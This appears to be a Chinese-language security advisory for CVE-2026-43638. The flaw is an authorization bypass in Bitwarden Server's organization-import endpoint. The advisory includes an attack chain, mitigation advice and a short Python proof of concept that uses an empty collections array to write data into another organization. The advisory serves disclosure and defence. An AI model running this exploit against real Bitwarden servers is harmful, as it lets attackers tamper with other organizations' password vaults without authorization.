IPBUF安全漏洞报告
English
CVE-2026-43638 CVSS 5.4 中危

CVE-2026-43638 Bitwarden Server权限绕过漏洞

披露日期: 2026-05-11

漏洞信息

漏洞编号
CVE-2026-43638
漏洞类型
权限绕过
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Bitwarden Server

相关标签

Bitwarden权限绕过Access ControlCVE-2026-43638Missing Authorization

漏洞概述

Bitwarden Server在v2026.4.1之前的版本中存在一个缺失授权漏洞。由于服务器端对`POST /ciphers/import-organization`接口的权限校验逻辑存在缺陷,任何经过身份验证的攻击者都可以通过提交一个空的`collections`数组来绕过权限检查。这使得攻击者能够将密码数据非法写入到任意组织中,从而破坏组织数据的完整性和机密性。

技术细节

该漏洞的根本原因在于Bitwarden Server处理组织导入请求时的逻辑错误。正常情况下,当用户尝试向组织导入密码时,服务器应验证用户是否对目标组织内的特定集合拥有写入权限。然而,在受影响版本中,如果请求体中的`collections`字段为空数组`[]`,验证逻辑会误判或直接跳过权限检查环节,但依然允许执行写入操作。攻击者只需拥有一个有效的已认证会话(普通用户权限),即可构造恶意请求,指定目标组织ID,并利用此逻辑缺陷将任意密码项导入该组织。这本质上是一种由于输入验证不充分导致的访问控制失效。

攻击链分析

STEP 1
侦察
攻击者注册或登录Bitwarden账户,获取有效的访问令牌,并侦察目标组织的ID。
STEP 2
漏洞利用
攻击者向`/ciphers/import-organization`端点发送POST请求,在请求体中指定目标组织ID,并将`collections`字段设置为空数组`[]`。
STEP 3
权限绕过
服务器端处理请求时,由于`collections`为空,跳过了对用户是否有权写入该组织的权限检查。
STEP 4
数据写入
服务器将攻击者提供的密码数据成功写入目标组织的数据库中,完成未授权的数据修改。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Configuration target_url = "https://<bitwarden-domain>/api/ciphers/import-organization" access_token = "<USER_ACCESS_TOKEN>" target_org_id = "<TARGET_ORGANIZATION_ID>" # Headers headers = { "Authorization": f"Bearer {access_token}", "Content-Type": "application/json" } # Exploit Payload: Submit empty 'collections' array to bypass permission check payload = { "ciphers": [ { "organizationId": target_org_id, "type": 1, "name": "Exploit Cipher", "login": { "username": "attacker", "password": "malicious_data" } } ], "collections": [] # CRITICAL: Empty array triggers the vulnerability } # Send Request response = requests.post(target_url, json=payload, headers=headers) print(f"Status Code: {response.status_code}") print(f"Response: {response.text}")

影响范围

Bitwarden Server < v2026.4.1

防御指南

临时缓解措施
建议立即将Bitwarden Server升级到修复版本v2026.4.1。如果无法立即升级,应严格限制用户注册和访问权限,并监控网络流量中针对`/ciphers/import-organization`接口的异常调用,特别是包含空`collections`数组的请求。

参考链接